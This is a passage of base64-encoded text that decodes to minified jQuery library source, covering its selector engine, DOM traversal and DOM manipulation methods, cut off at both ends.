YS5nZXRBdHRyaWJ1dGUoImNsYXNzIil8fA0KIiIpfSl9LEFUVFI6ZnVuY3Rpb24oYSxjLGQpe3JldHVybiBmdW5jdGlvbihiKXtiPWwuYXR0cihiLGEpO3JldHVybiBudWxsPT1iPyIhXHgzZCI9PT1jOmM/KGIrPSIiLCJceDNkIj09PWM/Yj09PWQ6IiFceDNkIj09PWM/YiE9PWQ6Il5ceDNkIj09PWM/ZCYmMD09PWIuaW5kZXhPZihkKToiKlx4M2QiPT09Yz9kJiYtMTxiLmluZGV4T2YoZCk6IiRceDNkIj09PWM/ZCYmYi5zbGljZSgtZC5sZW5ndGgpPT09ZDoiflx4M2QiPT09Yz8tMTwoIiAiK2IrIiAiKS5pbmRleE9mKGQpOiJ8XHgzZCI9PT1jP2I9PT1kfHxiLnNsaWNlKDAsZC5sZW5ndGgrMSk9PT1kKyItIjohMSk6ITB9fSxDSElMRDpmdW5jdGlvbihhLGMsZCxiLGUpe3ZhciBoPSJudGgiIT09YS5zbGljZSgwLDMpLGY9Imxhc3QiIT09YS5zbGljZSgtNCksZz0ib2YtdHlwZSI9PT1jO3JldHVybiAxPT09YiYmMD09PWU/ZnVuY3Rpb24oYSl7cmV0dXJuISFhLnBhcmVudE5vZGV9OmZ1bmN0aW9uKGMsZCxsKXt2YXIgcyxxLHUsDQprLHY7ZD1oIT09Zj8ibmV4dFNpYmxpbmciOiJwcmV2aW91c1NpYmxpbmciO3ZhciBtPWMucGFyZW50Tm9kZSxwPWcmJmMubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtsPSFsJiYhZztpZihtKXtpZihoKXtmb3IoO2Q7KXtmb3IocT1jO3E9cVtkXTspaWYoZz9xLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1wOjE9PT1xLm5vZGVUeXBlKXJldHVybiExO3Y9ZD0ib25seSI9PT1hJiYhdiYmIm5leHRTaWJsaW5nIn1yZXR1cm4hMH1pZih2PVtmP20uZmlyc3RDaGlsZDptLmxhc3RDaGlsZF0sZiYmbCl7bD1tW0VdfHwobVtFXT17fSk7cz1sW2FdfHxbXTtrPXNbMF09PT1JJiZzWzFdO3U9c1swXT09PUkmJnNbMl07Zm9yKHE9ayYmbS5jaGlsZE5vZGVzW2tdO3E9KytrJiZxJiZxW2RdfHwodT1rPTApfHx2LnBvcCgpOylpZigxPT09cS5ub2RlVHlwZSYmKyt1JiZxPT09Yyl7bFthXT1bSSxrLHVdO2JyZWFrfX1lbHNlIGlmKGwmJihzPShjW0VdfHwoY1tFXT17fSkpW2FdKSYmc1swXT09PUkpdT0NCnNbMV07ZWxzZSBmb3IoOyhxPSsrayYmcSYmcVtkXXx8KHU9az0wKXx8di5wb3AoKSkmJighKGc/cS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09cDoxPT09cS5ub2RlVHlwZSl8fCErK3V8fCEobCYmKChxW0VdfHwocVtFXT17fSkpW2FdPVtJLHVdKSxxPT09YykpOyk7cmV0dXJuIHUtPWUsdT09PWJ8fDA9PT11JWImJjA8PXUvYn19fSxQU0VVRE86ZnVuY3Rpb24oYSxjKXt2YXIgZCxiPXkucHNldWRvc1thXXx8eS5zZXRGaWx0ZXJzW2EudG9Mb3dlckNhc2UoKV18fGwuZXJyb3IoInVuc3VwcG9ydGVkIHBzZXVkbzogIithKTtyZXR1cm4gYltFXT9iKGMpOjE8Yi5sZW5ndGg/KGQ9W2EsYSwiIixjXSx5LnNldEZpbHRlcnMuaGFzT3duUHJvcGVydHkoYS50b0xvd2VyQ2FzZSgpKT9mKGZ1bmN0aW9uKGEsZCl7Zm9yKHZhciBlLGg9YihhLGMpLGY9aC5sZW5ndGg7Zi0tOyllPVguY2FsbChhLGhbZl0pLGFbZV09IShkW2VdPWhbZl0pfSk6ZnVuY3Rpb24oYSl7cmV0dXJuIGIoYSwwLGQpfSk6DQpifX0scHNldWRvczp7bm90OmYoZnVuY3Rpb24oYSl7dmFyIGM9W10sZD1bXSxiPU5hKGEucmVwbGFjZShVLCIkMSIpKTtyZXR1cm4gYltFXT9mKGZ1bmN0aW9uKGEsYyxkLGUpe3ZhciBoO2Q9YihhLG51bGwsZSxbXSk7Zm9yKGU9YS5sZW5ndGg7ZS0tOykoaD1kW2VdKSYmKGFbZV09IShjW2VdPWgpKX0pOmZ1bmN0aW9uKGEsZSxoKXtyZXR1cm4gY1swXT1hLGIoYyxudWxsLGgsZCksIWQucG9wKCl9fSksaGFzOmYoZnVuY3Rpb24oYSl7cmV0dXJuIGZ1bmN0aW9uKGMpe3JldHVybiAwPGwoYSxjKS5sZW5ndGh9fSksY29udGFpbnM6ZihmdW5jdGlvbihhKXtyZXR1cm4gZnVuY3Rpb24oYyl7cmV0dXJuLTE8KGMudGV4dENvbnRlbnR8fGMuaW5uZXJUZXh0fHxBYShjKSkuaW5kZXhPZihhKX19KSxsYW5nOmYoZnVuY3Rpb24oYSl7cmV0dXJuIGphLnRlc3QoYXx8IiIpfHxsLmVycm9yKCJ1bnN1cHBvcnRlZCBsYW5nOiAiK2EpLGE9YS5yZXBsYWNlKGthLGxhKS50b0xvd2VyQ2FzZSgpLGZ1bmN0aW9uKGMpe3ZhciBkOw0KZG8gaWYoZD1aP2MuZ2V0QXR0cmlidXRlKCJ4bWw6bGFuZyIpfHxjLmdldEF0dHJpYnV0ZSgibGFuZyIpOmMubGFuZylyZXR1cm4gZD1kLnRvTG93ZXJDYXNlKCksZD09PWF8fDA9PT1kLmluZGV4T2YoYSsiLSIpO3doaWxlKChjPWMucGFyZW50Tm9kZSkmJjE9PT1jLm5vZGVUeXBlKTtyZXR1cm4hMX19KSx0YXJnZXQ6ZnVuY3Rpb24oYyl7dmFyIGQ9YS5sb2NhdGlvbiYmYS5sb2NhdGlvbi5oYXNoO3JldHVybiBkJiZkLnNsaWNlKDEpPT09Yy5pZH0scm9vdDpmdW5jdGlvbihhKXtyZXR1cm4gYT09PVJ9LGZvY3VzOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09Ty5hY3RpdmVFbGVtZW50JiYoIU8uaGFzRm9jdXN8fE8uaGFzRm9jdXMoKSkmJiEoIWEudHlwZSYmIWEuaHJlZiYmIX5hLnRhYkluZGV4KX0sZW5hYmxlZDpmdW5jdGlvbihhKXtyZXR1cm4hMT09PWEuZGlzYWJsZWR9LGRpc2FibGVkOmZ1bmN0aW9uKGEpe3JldHVybiEwPT09YS5kaXNhYmxlZH0sY2hlY2tlZDpmdW5jdGlvbihhKXt2YXIgYz0NCmEubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtyZXR1cm4iaW5wdXQiPT09YyYmISFhLmNoZWNrZWR8fCJvcHRpb24iPT09YyYmISFhLnNlbGVjdGVkfSxzZWxlY3RlZDpmdW5jdGlvbihhKXtyZXR1cm4gYS5wYXJlbnROb2RlJiZhLnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCwhMD09PWEuc2VsZWN0ZWR9LGVtcHR5OmZ1bmN0aW9uKGEpe2ZvcihhPWEuZmlyc3RDaGlsZDthO2E9YS5uZXh0U2libGluZylpZigiQCI8YS5ub2RlTmFtZXx8Mz09PWEubm9kZVR5cGV8fDQ9PT1hLm5vZGVUeXBlKXJldHVybiExO3JldHVybiEwfSxwYXJlbnQ6ZnVuY3Rpb24oYSl7cmV0dXJuIXkucHNldWRvcy5lbXB0eShhKX0saGVhZGVyOmZ1bmN0aW9uKGEpe3JldHVybiBwYS50ZXN0KGEubm9kZU5hbWUpfSxpbnB1dDpmdW5jdGlvbihhKXtyZXR1cm4gb2EudGVzdChhLm5vZGVOYW1lKX0sYnV0dG9uOmZ1bmN0aW9uKGEpe3ZhciBjPWEubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtyZXR1cm4iaW5wdXQiPT09YyYmDQoiYnV0dG9uIj09PWEudHlwZXx8ImJ1dHRvbiI9PT1jfSx0ZXh0OmZ1bmN0aW9uKGEpe3ZhciBjO3JldHVybiJpbnB1dCI9PT1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkmJiJ0ZXh0Ij09PWEudHlwZSYmKG51bGw9PShjPWEuZ2V0QXR0cmlidXRlKCJ0eXBlIikpfHxjLnRvTG93ZXJDYXNlKCk9PT1hLnR5cGUpfSxmaXJzdDpyKGZ1bmN0aW9uKCl7cmV0dXJuWzBdfSksbGFzdDpyKGZ1bmN0aW9uKGEsYyl7cmV0dXJuW2MtMV19KSxlcTpyKGZ1bmN0aW9uKGEsYyxkKXtyZXR1cm5bMD5kP2QrYzpkXX0pLGV2ZW46cihmdW5jdGlvbihhLGMpe2Zvcih2YXIgZD0wO2M+ZDtkKz0yKWEucHVzaChkKTtyZXR1cm4gYX0pLG9kZDpyKGZ1bmN0aW9uKGEsYyl7Zm9yKHZhciBkPTE7Yz5kO2QrPTIpYS5wdXNoKGQpO3JldHVybiBhfSksbHQ6cihmdW5jdGlvbihhLGMsZCl7Zm9yKGM9MD5kP2QrYzpkOzA8PS0tYzspYS5wdXNoKGMpO3JldHVybiBhfSksZ3Q6cihmdW5jdGlvbihhLGMsZCl7Zm9yKGQ9DQowPmQ/ZCtjOmQ7Yz4rK2Q7KWEucHVzaChkKTtyZXR1cm4gYX0pfX07Zm9yKEIgaW57cmFkaW86ITAsY2hlY2tib3g6ITAsZmlsZTohMCxwYXNzd29yZDohMCxpbWFnZTohMH0peS5wc2V1ZG9zW0JdPW0oQik7Zm9yKEIgaW57c3VibWl0OiEwLHJlc2V0OiEwfSl5LnBzZXVkb3NbQl09bihCKTtOYT1sLmNvbXBpbGU9ZnVuY3Rpb24oYSxjKXt2YXIgZCxiPVtdLGU9W10saD1UW2ErIiAiXTtpZighaCl7Y3x8KGM9cChhKSk7Zm9yKGQ9Yy5sZW5ndGg7ZC0tOyloPVcoY1tkXSksaFtFXT9iLnB1c2goaCk6ZS5wdXNoKGgpO2g9VChhLHooZSxiKSl9cmV0dXJuIGh9O3kucHNldWRvcy5udGg9eS5wc2V1ZG9zLmVxO3kuZmlsdGVycz1ELnByb3RvdHlwZT15LnBzZXVkb3M7eS5zZXRGaWx0ZXJzPW5ldyBEO3NhKCk7bC5hdHRyPWQuYXR0cjtkLmZpbmQ9bDtkLmV4cHI9bC5zZWxlY3RvcnM7ZC5leHByWyI6Il09ZC5leHByLnBzZXVkb3M7ZC51bmlxdWU9bC51bmlxdWVTb3J0O2QudGV4dD1sLmdldFRleHQ7DQpkLmlzWE1MRG9jPWwuaXNYTUw7ZC5jb250YWlucz1sLmNvbnRhaW5zfSkoYik7dmFyIG5jPS9VbnRpbCQvLG9jPS9eKD86cGFyZW50c3xwcmV2KD86VW50aWx8QWxsKSkvLE5iPS9eLlteOiNcW1wuLF0qJC8sd2I9ZC5leHByLm1hdGNoLm5lZWRzQ29udGV4dCxwYz17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtkLmZuLmV4dGVuZCh7ZmluZDpmdW5jdGlvbihhKXt2YXIgYyxiLGUsZj10aGlzLmxlbmd0aDtpZigic3RyaW5nIiE9dHlwZW9mIGEpcmV0dXJuIGU9dGhpcyx0aGlzLnB1c2hTdGFjayhkKGEpLmZpbHRlcihmdW5jdGlvbigpe2ZvcihjPTA7Zj5jO2MrKylpZihkLmNvbnRhaW5zKGVbY10sdGhpcykpcmV0dXJuITB9KSk7Yj1bXTtmb3IoYz0wO2Y+YztjKyspZC5maW5kKGEsdGhpc1tjXSxiKTtyZXR1cm4gYj10aGlzLnB1c2hTdGFjaygxPGY/ZC51bmlxdWUoYik6YiksYi5zZWxlY3Rvcj0odGhpcy5zZWxlY3Rvcj90aGlzLnNlbGVjdG9yKyIgIjoNCiIiKSthLGJ9LGhhczpmdW5jdGlvbihhKXt2YXIgYyxiPWQoYSx0aGlzKSxlPWIubGVuZ3RoO3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe2ZvcihjPTA7ZT5jO2MrKylpZihkLmNvbnRhaW5zKHRoaXMsYltjXSkpcmV0dXJuITB9KX0sbm90OmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnB1c2hTdGFjayhUKHRoaXMsYSwhMSkpfSxmaWx0ZXI6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKFQodGhpcyxhLCEwKSl9LGlzOmZ1bmN0aW9uKGEpe3JldHVybiEhYSYmKCJzdHJpbmciPT10eXBlb2YgYT93Yi50ZXN0KGEpPzA8PWQoYSx0aGlzLmNvbnRleHQpLmluZGV4KHRoaXNbMF0pOjA8ZC5maWx0ZXIoYSx0aGlzKS5sZW5ndGg6MDx0aGlzLmZpbHRlcihhKS5sZW5ndGgpfSxjbG9zZXN0OmZ1bmN0aW9uKGEsYyl7Zm9yKHZhciBiLGU9MCxmPXRoaXMubGVuZ3RoLGc9W10sbD13Yi50ZXN0KGEpfHwic3RyaW5nIiE9dHlwZW9mIGE/ZChhLGN8fHRoaXMuY29udGV4dCk6MDtmPg0KZTtlKyspZm9yKGI9dGhpc1tlXTtiJiZiLm93bmVyRG9jdW1lbnQmJmIhPT1jJiYxMSE9PWIubm9kZVR5cGU7KXtpZihsPy0xPGwuaW5kZXgoYik6ZC5maW5kLm1hdGNoZXNTZWxlY3RvcihiLGEpKXtnLnB1c2goYik7YnJlYWt9Yj1iLnBhcmVudE5vZGV9cmV0dXJuIHRoaXMucHVzaFN0YWNrKDE8Zy5sZW5ndGg/ZC51bmlxdWUoZyk6Zyl9LGluZGV4OmZ1bmN0aW9uKGEpe3JldHVybiBhPyJzdHJpbmciPT10eXBlb2YgYT9kLmluQXJyYXkodGhpc1swXSxkKGEpKTpkLmluQXJyYXkoYS5qcXVlcnk/YVswXTphLHRoaXMpOnRoaXNbMF0mJnRoaXNbMF0ucGFyZW50Tm9kZT90aGlzLmZpcnN0KCkucHJldkFsbCgpLmxlbmd0aDotMX0sYWRkOmZ1bmN0aW9uKGEsYyl7dmFyIGI9InN0cmluZyI9PXR5cGVvZiBhP2QoYSxjKTpkLm1ha2VBcnJheShhJiZhLm5vZGVUeXBlP1thXTphKSxiPWQubWVyZ2UodGhpcy5nZXQoKSxiKTtyZXR1cm4gdGhpcy5wdXNoU3RhY2soZC51bmlxdWUoYikpfSxhZGRCYWNrOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmFkZChudWxsPT0NCmE/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoYSkpfX0pO2QuZm4uYW5kU2VsZj1kLmZuLmFkZEJhY2s7ZC5lYWNoKHtwYXJlbnQ6ZnVuY3Rpb24oYSl7cmV0dXJuKGE9YS5wYXJlbnROb2RlKSYmMTEhPT1hLm5vZGVUeXBlP2E6bnVsbH0scGFyZW50czpmdW5jdGlvbihhKXtyZXR1cm4gZC5kaXIoYSwicGFyZW50Tm9kZSIpfSxwYXJlbnRzVW50aWw6ZnVuY3Rpb24oYSxjLGIpe3JldHVybiBkLmRpcihhLCJwYXJlbnROb2RlIixiKX0sbmV4dDpmdW5jdGlvbihhKXtyZXR1cm4gVihhLCJuZXh0U2libGluZyIpfSxwcmV2OmZ1bmN0aW9uKGEpe3JldHVybiBWKGEsInByZXZpb3VzU2libGluZyIpfSxuZXh0QWxsOmZ1bmN0aW9uKGEpe3JldHVybiBkLmRpcihhLCJuZXh0U2libGluZyIpfSxwcmV2QWxsOmZ1bmN0aW9uKGEpe3JldHVybiBkLmRpcihhLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dFVudGlsOmZ1bmN0aW9uKGEsYyxiKXtyZXR1cm4gZC5kaXIoYSwibmV4dFNpYmxpbmciLA0KYil9LHByZXZVbnRpbDpmdW5jdGlvbihhLGMsYil7cmV0dXJuIGQuZGlyKGEsInByZXZpb3VzU2libGluZyIsYil9LHNpYmxpbmdzOmZ1bmN0aW9uKGEpe3JldHVybiBkLnNpYmxpbmcoKGEucGFyZW50Tm9kZXx8e30pLmZpcnN0Q2hpbGQsYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBkLnNpYmxpbmcoYS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oYSl7cmV0dXJuIGQubm9kZU5hbWUoYSwiaWZyYW1lIik/YS5jb250ZW50RG9jdW1lbnR8fGEuY29udGVudFdpbmRvdy5kb2N1bWVudDpkLm1lcmdlKFtdLGEuY2hpbGROb2Rlcyl9fSxmdW5jdGlvbihhLGMpe2QuZm5bYV09ZnVuY3Rpb24oYixlKXt2YXIgZj1kLm1hcCh0aGlzLGMsYik7cmV0dXJuIG5jLnRlc3QoYSl8fChlPWIpLGUmJiJzdHJpbmciPT10eXBlb2YgZSYmKGY9ZC5maWx0ZXIoZSxmKSksZj0xPHRoaXMubGVuZ3RoJiYhcGNbYV0/ZC51bmlxdWUoZik6ZiwxPHRoaXMubGVuZ3RoJiZvYy50ZXN0KGEpJiYNCihmPWYucmV2ZXJzZSgpKSx0aGlzLnB1c2hTdGFjayhmKX19KTtkLmV4dGVuZCh7ZmlsdGVyOmZ1bmN0aW9uKGEsYyxiKXtyZXR1cm4gYiYmKGE9Ijpub3QoIithKyIpIiksMT09PWMubGVuZ3RoP2QuZmluZC5tYXRjaGVzU2VsZWN0b3IoY1swXSxhKT9bY1swXV06W106ZC5maW5kLm1hdGNoZXMoYSxjKX0sZGlyOmZ1bmN0aW9uKGEsYyxiKXt2YXIgZj1bXTtmb3IoYT1hW2NdO2EmJjkhPT1hLm5vZGVUeXBlJiYoYj09PWV8fDEhPT1hLm5vZGVUeXBlfHwhZChhKS5pcyhiKSk7KTE9PT1hLm5vZGVUeXBlJiZmLnB1c2goYSksYT1hW2NdO3JldHVybiBmfSxzaWJsaW5nOmZ1bmN0aW9uKGEsYyl7Zm9yKHZhciBkPVtdO2E7YT1hLm5leHRTaWJsaW5nKTE9PT1hLm5vZGVUeXBlJiZhIT09YyYmZC5wdXNoKGEpO3JldHVybiBkfX0pO3ZhciBYYT0iYWJicnxhcnRpY2xlfGFzaWRlfGF1ZGlvfGJkaXxjYW52YXN8ZGF0YXxkYXRhbGlzdHxkZXRhaWxzfGZpZ2NhcHRpb258ZmlndXJlfGZvb3RlcnxoZWFkZXJ8aGdyb3VwfG1hcmt8bWV0ZXJ8bmF2fG91dHB1dHxwcm9ncmVzc3xzZWN0aW9ufHN1bW1hcnl8dGltZXx2aWRlbyIsDQpxYz0vIGpRdWVyeVxkKz0iKD86bnVsbHxcZCspIi9nLHhiPVJlZ0V4cCgiXHgzYyg/OiIrWGErIilbXFxzL1x4M2VdIiwiaSIpLE9hPS9eXHMrLyx5Yj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2dpLHpiPS88KFtcdzpdKykvLEFiPS88dGJvZHkvaSxyYz0vPHwmIz9cdys7LyxzYz0vPCg/OnNjcmlwdHxzdHlsZXxsaW5rKS9pLERhPS9eKD86Y2hlY2tib3h8cmFkaW8pJC9pLHRjPS9jaGVja2VkXHMqKD86W149XXw9XHMqLmNoZWNrZWQuKS9pLEJiPS9eJHxcLyg/OmphdmF8ZWNtYSlzY3JpcHQvaSxPYj0vXnRydWVcLyguKikvLHVjPS9eXHMqPCEoPzpcW0NEQVRBXFt8LS0pfCg/OlxdXF18LS0pPlxzKiQvZyxDPXtvcHRpb246WzEsIlx4M2NzZWxlY3QgbXVsdGlwbGVceDNkJ211bHRpcGxlJ1x4M2UiLCJceDNjL3NlbGVjdFx4M2UiXSxsZWdlbmQ6WzEsIlx4M2NmaWVsZHNldFx4M2UiLCJceDNjL2ZpZWxkc2V0XHgzZSJdLA0KYXJlYTpbMSwiXHgzY21hcFx4M2UiLCJceDNjL21hcFx4M2UiXSxwYXJhbTpbMSwiXHgzY29iamVjdFx4M2UiLCJceDNjL29iamVjdFx4M2UiXSx0aGVhZDpbMSwiXHgzY3RhYmxlXHgzZSIsIlx4M2MvdGFibGVceDNlIl0sdHI6WzIsIlx4M2N0YWJsZVx4M2VceDNjdGJvZHlceDNlIiwiXHgzYy90Ym9keVx4M2VceDNjL3RhYmxlXHgzZSJdLGNvbDpbMiwiXHgzY3RhYmxlXHgzZVx4M2N0Ym9keVx4M2VceDNjL3Rib2R5XHgzZVx4M2Njb2xncm91cFx4M2UiLCJceDNjL2NvbGdyb3VwXHgzZVx4M2MvdGFibGVceDNlIl0sdGQ6WzMsIlx4M2N0YWJsZVx4M2VceDNjdGJvZHlceDNlXHgzY3RyXHgzZSIsIlx4M2MvdHJceDNlXHgzYy90Ym9keVx4M2VceDNjL3RhYmxlXHgzZSJdLF9kZWZhdWx0OmQuc3VwcG9ydC5odG1sU2VyaWFsaXplP1swLCIiLCIiXTpbMSwiWFx4M2NkaXZceDNlIiwiXHgzYy9kaXZceDNlIl19LFBhPU0odCkuYXBwZW5kQ2hpbGQodC5jcmVhdGVFbGVtZW50KCJkaXYiKSk7DQpDLm9wdGdyb3VwPUMub3B0aW9uO0MudGJvZHk9Qy50Zm9vdD1DLmNvbGdyb3VwPUMuY2FwdGlvbj1DLnRoZWFkO0MudGg9Qy50ZDtkLmZuLmV4dGVuZCh7dGV4dDpmdW5jdGlvbihhKXtyZXR1cm4gZC5hY2Nlc3ModGhpcyxmdW5jdGlvbihhKXtyZXR1cm4gYT09PWU/ZC50ZXh0KHRoaXMpOnRoaXMuZW1wdHkoKS5hcHBlbmQoKHRoaXNbMF0mJnRoaXNbMF0ub3duZXJEb2N1bWVudHx8dCkuY3JlYXRlVGV4dE5vZGUoYSkpfSxudWxsLGEsYXJndW1lbnRzLmxlbmd0aCl9LHdyYXBBbGw6ZnVuY3Rpb24oYSl7aWYoZC5pc0Z1bmN0aW9uKGEpKXJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7ZCh0aGlzKS53cmFwQWxsKGEuY2FsbCh0aGlzLGMpKX0pO2lmKHRoaXNbMF0pe3ZhciBjPWQoYSx0aGlzWzBdLm93bmVyRG9jdW1lbnQpLmVxKDApLmNsb25lKCEwKTt0aGlzWzBdLnBhcmVudE5vZGUmJmMuaW5zZXJ0QmVmb3JlKHRoaXNbMF0pO2MubWFwKGZ1bmN0aW9uKCl7Zm9yKHZhciBhPXRoaXM7YS5maXJzdENoaWxkJiYNCjE9PT1hLmZpcnN0Q2hpbGQubm9kZVR5cGU7KWE9YS5maXJzdENoaWxkO3JldHVybiBhfSkuYXBwZW5kKHRoaXMpfXJldHVybiB0aGlzfSx3cmFwSW5uZXI6ZnVuY3Rpb24oYSl7cmV0dXJuIGQuaXNGdW5jdGlvbihhKT90aGlzLmVhY2goZnVuY3Rpb24oYyl7ZCh0aGlzKS53cmFwSW5uZXIoYS5jYWxsKHRoaXMsYykpfSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGM9ZCh0aGlzKSxiPWMuY29udGVudHMoKTtiLmxlbmd0aD9iLndyYXBBbGwoYSk6Yy5hcHBlbmQoYSl9KX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYz1kLmlzRnVuY3Rpb24oYSk7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXtkKHRoaXMpLndyYXBBbGwoYz9hLmNhbGwodGhpcyxiKTphKX0pfSx1bndyYXA6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wYXJlbnQoKS5lYWNoKGZ1bmN0aW9uKCl7ZC5ub2RlTmFtZSh0aGlzLCJib2R5Iil8fGQodGhpcykucmVwbGFjZVdpdGgodGhpcy5jaGlsZE5vZGVzKX0pLmVuZCgpfSwNCmFwcGVuZDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRvbU1hbmlwKGFyZ3VtZW50cywhMCxmdW5jdGlvbihhKXsoMT09PXRoaXMubm9kZVR5cGV8fDExPT09dGhpcy5ub2RlVHlwZXx8OT09PXRoaXMubm9kZVR5cGUpJiZ0aGlzLmFwcGVuZENoaWxkKGEpfSl9LHByZXBlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5kb21NYW5pcChhcmd1bWVudHMsITAsZnVuY3Rpb24oYSl7KDE9PT10aGlzLm5vZGVUeXBlfHwxMT09PXRoaXMubm9kZVR5cGV8fDk9PT10aGlzLm5vZGVUeXBlKSYmdGhpcy5pbnNlcnRCZWZvcmUoYSx0aGlzLmZpcnN0Q2hpbGQpfSl9LGJlZm9yZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRvbU1hbmlwKGFyZ3VtZW50cywhMSxmdW5jdGlvbihhKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoYSx0aGlzKX0pfSxhZnRlcjpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRvbU1hbmlwKGFyZ3VtZW50cywhMSxmdW5jdGlvbihhKXt0aGlzLnBhcmVudE5vZGUmJg0KdGhpcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLHRoaXMubmV4dFNpYmxpbmcpfSl9LHJlbW92ZTpmdW5jdGlvbihhLGMpe2Zvcih2YXIgYixlPTA7bnVsbCE9KGI9dGhpc1tlXSk7ZSsrKSghYXx8MDxkLmZpbHRlcihhLFtiXSkubGVuZ3RoKSYmKGN8fDEhPT1iLm5vZGVUeXBlfHxkLmNsZWFuRGF0YShEKGIpKSxiLnBhcmVudE5vZGUmJihjJiZkLmNvbnRhaW5zKGIub3duZXJEb2N1bWVudCxiKSYmRyhEKGIsInNjcmlwdCIpKSxiLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoYikpKTtyZXR1cm4gdGhpc30sZW1wdHk6ZnVuY3Rpb24oKXtmb3IodmFyIGEsYz0wO251bGwhPShhPXRoaXNbY10pO2MrKyl7Zm9yKDE9PT1hLm5vZGVUeXBlJiZkLmNsZWFuRGF0YShEKGEsITEpKTthLmZpcnN0Q2hpbGQ7KWEucmVtb3ZlQ2hpbGQoYS5maXJzdENoaWxkKTthLm9wdGlvbnMmJmQubm9kZU5hbWUoYSwic2VsZWN0IikmJihhLm9wdGlvbnMubGVuZ3RoPTApfXJldHVybiB0aGlzfSxjbG9uZTpmdW5jdGlvbihhLA0KYyl7cmV0dXJuIGE9bnVsbD09YT8hMTphLGM9bnVsbD09Yz9hOmMsdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gZC5jbG9uZSh0aGlzLGEsYyl9KX0saHRtbDpmdW5jdGlvbihhKXtyZXR1cm4gZC5hY2Nlc3ModGhpcyxmdW5jdGlvbihhKXt2YXIgYj10aGlzWzBdfHx7fSxmPTAsZz10aGlzLmxlbmd0aDtpZihhPT09ZSlyZXR1cm4gMT09PWIubm9kZVR5cGU/Yi5pbm5lckhUTUwucmVwbGFjZShxYywiIik6ZTtpZighKCJzdHJpbmciIT10eXBlb2YgYXx8c2MudGVzdChhKXx8IWQuc3VwcG9ydC5odG1sU2VyaWFsaXplJiZ4Yi50ZXN0KGEpfHwhZC5zdXBwb3J0LmxlYWRpbmdXaGl0ZXNwYWNlJiZPYS50ZXN0KGEpfHxDWyh6Yi5leGVjKGEpfHxbIiIsIiJdKVsxXS50b0xvd2VyQ2FzZSgpXSkpe2E9YS5yZXBsYWNlKHliLCJceDNjJDFceDNlXHgzYy8kMlx4M2UiKTt0cnl7Zm9yKDtnPmY7ZisrKWI9dGhpc1tmXXx8e30sMT09PWIubm9kZVR5cGUmJihkLmNsZWFuRGF0YShEKGIsITEpKSwNCmIuaW5uZXJIVE1MPWEpO2I9MH1jYXRjaCh1KXt9fWImJnRoaXMuZW1wdHkoKS5hcHBlbmQoYSl9LG51bGwsYSxhcmd1bWVudHMubGVuZ3RoKX0scmVwbGFjZVdpdGg6ZnVuY3Rpb24oYSl7cmV0dXJuIGQuaXNGdW5jdGlvbihhKXx8InN0cmluZyI9PXR5cGVvZiBhfHwoYT1kKGEpLm5vdCh0aGlzKS5kZXRhY2goKSksdGhpcy5kb21NYW5pcChbYV0sITAsZnVuY3Rpb24oYSl7dmFyIGI9dGhpcy5uZXh0U2libGluZyxlPXRoaXMucGFyZW50Tm9kZTtlJiYoZCh0aGlzKS5yZW1vdmUoKSxlLmluc2VydEJlZm9yZShhLGIpKX0pfSxkZXRhY2g6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMucmVtb3ZlKGEsITApfSxkb21NYW5pcDpmdW5jdGlvbihhLGMsYil7YT1uYi5hcHBseShbXSxhKTt2YXIgZixnLHUsbCxrPTAsbT10aGlzLmxlbmd0aCxuPXRoaXMscj1tLTEscD1hWzBdLHQ9ZC5pc0Z1bmN0aW9uKHApO2lmKHR8fCEoMT49bXx8InN0cmluZyIhPXR5cGVvZiBwfHxkLnN1cHBvcnQuY2hlY2tDbG9uZSkmJg0KdGMudGVzdChwKSlyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGQpe3ZhciBmPW4uZXEoZCk7dCYmKGFbMF09cC5jYWxsKHRoaXMsZCxjP2YuaHRtbCgpOmUpKTtmLmRvbU1hbmlwKGEsYyxiKX0pO2lmKG0mJihsPWQuYnVpbGRGcmFnbWVudChhLHRoaXNbMF0ub3duZXJEb2N1bWVudCwhMSx0aGlzKSxmPWwuZmlyc3RDaGlsZCwxPT09bC5jaGlsZE5vZGVzLmxlbmd0aCYmKGw9ZiksZikpe2M9YyYmZC5ub2RlTmFtZShmLCJ0ciIpO3U9ZC5tYXAoRChsLCJzY3JpcHQiKSxQKTtmb3IoZz11Lmxlbmd0aDttPms7aysrKWY9bCxrIT09ciYmKGY9ZC5jbG9uZShmLCEwLCEwKSxnJiZkLm1lcmdlKHUsRChmLCJzY3JpcHQiKSkpLGIuY